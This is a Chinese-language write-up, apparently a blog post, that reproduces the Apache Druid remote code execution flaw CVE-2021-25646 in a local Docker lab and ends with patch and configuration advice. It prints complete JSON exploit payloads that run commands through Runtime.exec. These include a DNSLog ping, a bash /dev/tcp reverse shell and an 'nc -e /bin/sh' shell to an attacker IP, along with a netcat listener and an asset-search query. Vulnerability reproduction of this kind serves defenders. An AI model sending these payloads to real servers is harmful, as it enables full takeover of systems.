Apache Druid远程代码执行漏洞(CVE-2021-25646)

1.漏洞描述

        Apache Druid 是一个集时间序列数据库、数据仓库和全文检索系统特点于一体的分析性数据平台。Apache Druid 包括执行用户提供的 JavaScript 的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用Apache Druid漏洞可以执行任意代码。

2.影响版本

Apache Druid < 0.20.1

3.网络资产扫描

title="Apache Druid"

4.漏洞环境搭建

使用docker搭建

下载:https://github.com/apache/druid/archive/druid-0.20.0.zip

解压后,进入druid-druid-0.20.0/distribution/docker目录,进行安装

cd druid-druid-0.20.0/distribution/docker

docker-compose up -d

搭建完成后,访问8888端口

http://192.168.42.145:8888/unified-console.html

5.漏洞复现

后点击Load data —> Local disk —> Connect data

右侧 base directory 填入:quickstart/tutorial/

file filter填入:wikiticker-2015-09-12-sampled.json.gz

点击apply,可以用burp抓包(后面的模块都可以抓包)

数据包内容如下:

将POST内容修改为下面内容,利用DNSLog查看回显,执行远程代码

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping ab2mu8.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

利用该漏洞获取shell

Kali开启监听

nc -lvp 1919 

将命令修改为反弹shell的命令,但是反弹shell失败,返回500错误

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.42.147/1919 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

将命令修改为正向shell的命令,正向shell成功

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.42.147 1919 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

6.修复建议

升级至Apache Druid 0.20.1及以上版本。

### 关于 Apache Druid 远程代码执行漏洞 #### 漏洞概述 Apache Druid 是一个集时间序列数据库、数据仓库和全文检索系统特点于一体的分析性数据平台。该平台允许执行用户提供的 JavaScript 代码,这些代码可以嵌入到各种类型的请求中。此功能默认情况下仅限于高信任度环境并已禁用。然而,在 Druid 版本 0.20.0 及更早版本中存在缺陷,使得经过身份验证的用户能够通过构造特定 JSON 请求来操控某些敏感参数,从而触发远程代码执行漏洞 CVE-2021-25646[^3]。 #### 影响范围 受影响的是 Apache Druid 0.20.0 或更低版本。任何运行上述版本的应用程序都可能面临被攻击的风险,因为攻击者可以通过精心设计的 HTTP 请求注入恶意脚本来获取对服务器的完全控制权[^4]。 #### 解决方案建议 为了防止此类攻击的发生,应采取以下措施: 1. **升级软件** 升级至最新稳定版的 Apache Druid 是最直接有效的解决办法。新版本已经修复了这一安全隐患,并引入了额外的安全机制以增强系统的鲁棒性和安全性。 2. **配置调整** 如果暂时无法立即更新,则需确保 `druid.extensions.loadList` 中不包含 `druid-javascript` 扩展插件;或者设置 `druid.ext.security.jsEnabled=false` 来彻底关闭 JavaScript 支持特性。 3. **权限管理** 对所有 API 接口实施严格的访问控制策略,限制只有必要的人员和服务才能调用涉及潜在风险的操作接口。同时加强内部网络隔离,减少外部威胁源接触核心业务逻辑的机会。 4. **监控审计** 建立健全的日志记录与异常行为检测体系,及时发现可疑活动并作出响应处理。定期审查日志文件,寻找是否存在未授权操作或尝试利用漏洞的行为模式。 ```bash # 更新命令示例 (具体取决于部署方式) sudo yum update apache-druid -y # 使用yum包管理器时 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值